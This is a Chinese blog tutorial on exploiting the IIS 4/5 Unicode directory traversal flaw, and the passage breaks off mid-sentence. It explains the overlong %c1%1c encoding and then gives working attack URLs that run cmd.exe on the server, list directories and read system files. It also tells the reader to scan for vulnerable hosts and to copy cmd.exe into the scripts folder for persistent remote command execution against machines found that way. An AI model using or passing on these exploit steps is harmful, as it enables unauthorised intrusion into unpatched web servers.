IIS5 UNICODE 编码漏洞的利用心得[1]

[入库:2005年8月18日] [更新:2007年3月25日]

本文简介:选择自 setcdq9801 的 blog

大家一定都知道那个风光了很久的iis5 unicode 编码漏洞吧。没办法,第一篇教程不知道写什么好,随便先凑合着,
就写一下这个漏洞的攻击心得吧。

1 首先我们来看看这个漏洞的原理。
在中文版的iis4,和iss5中,存在一个bug,原因是unicode编码 存在bug 在unicode 编码中,发现了一个奇怪的编码方
式,

例如:

%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40)
iis 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh.

例如
(windows 2000 + iis 5.0 + sp1 简体中文版):
http://192.168.8.48/a.ida/%c1%00.ida
iis 将返回"@.ida" 找不到该文件 在这里 (0xc1-0xc0)*0x40+0x00=0x40='@'

http://192.168.8.48/a.ida/%c1%01.ida
iis 将返回 "a.ida" 找不到该文件 这里 (0xc1-0xc0)*0x40+0x01=0x41='a'

http://192.168.8.48/a.ida/%c1%02.ida
iis 将返回 "b.ida" 找不到该文件 ....

http://192.168.8.48/a.ida/%c0%21.ida
iis 将返回 "!.ida" 找不到该文件

这就意味着你能利用这些编码的特点。

例如:
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'

所以我们就可以用这种方法进入一些目录。

(1)http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

这样我们将得到
directory of d:\inetpub\scripts
2000-09-28 15:49 〈dir〉
.   1999-07-21 17:49 147,456
count.exe 2000-09-12 17:08 438,290
count25.exe 2000-10-13 15:03 8,867
counter.err 2000-08-23 23:07 160,002
counter.exe 1999-05-25 18:14 3,925
countnt.html 1999-07-21 17:49 64,512
extdgts.exe 2000-08-10 15:24 46,352
ism.dll 1999-07-21 17:49 64,512
mkstrip.exe 1999-05-25 18:181,317
readme.txt 2000-09-28 15:49

〈dir〉 wcount 9 file(s) 935,233 bytes

(2) 我们也可以利用此bug得到一些系统文件的内容
http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
iis 将把它当作 a .asp 文件提交.它将让 asp.dll 来打开文件win.ini
如果用 iis 4.0+sp6(中文版), 将不能测试成功 但是我们能用下列方法得到。
http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini

"default.asp" 是一个存在的 .asp 文件, "a.exe" 是一个随机的 .exe 文件名. 它可以不存在。
打上sp1仍然还有这种编码问题。

在英文版本中使用 %c1%af 能正常利用这个漏洞。

2.了解了漏洞的详细资料。让我们来说说怎么利用。
a.利用iisexploitsearcher这个软件,我们来找有这个漏洞的主机。
虽然这个漏洞公布很久了, 但你仍然会发现,你可以找到很多这种机器。
假如我们已经找到了一台有这个漏洞的机器。

让我们来进行下面的操作。

b.http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

这个url语句的执行的命令是:利用nt/2000下的命令解释程序cmd.exe来执行一个拷贝命令。

copy c:\winnt\system32\cmd.exe ccc.exe

它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe

就是dos命令中的空格,在url中就要换成“+”号。

你要执行copy c:\winnt\system32\cmd.exe ccc.exe

相对应的是http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe

其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的,他的作用是调用c:\winnt\system32\cmd.exe来执行命

本文关键:IIS UNICODE 漏洞
 

本站最佳浏览方式为 分辨率 1024x768 IE 6.0(或更高版本的 IE浏览器)

go top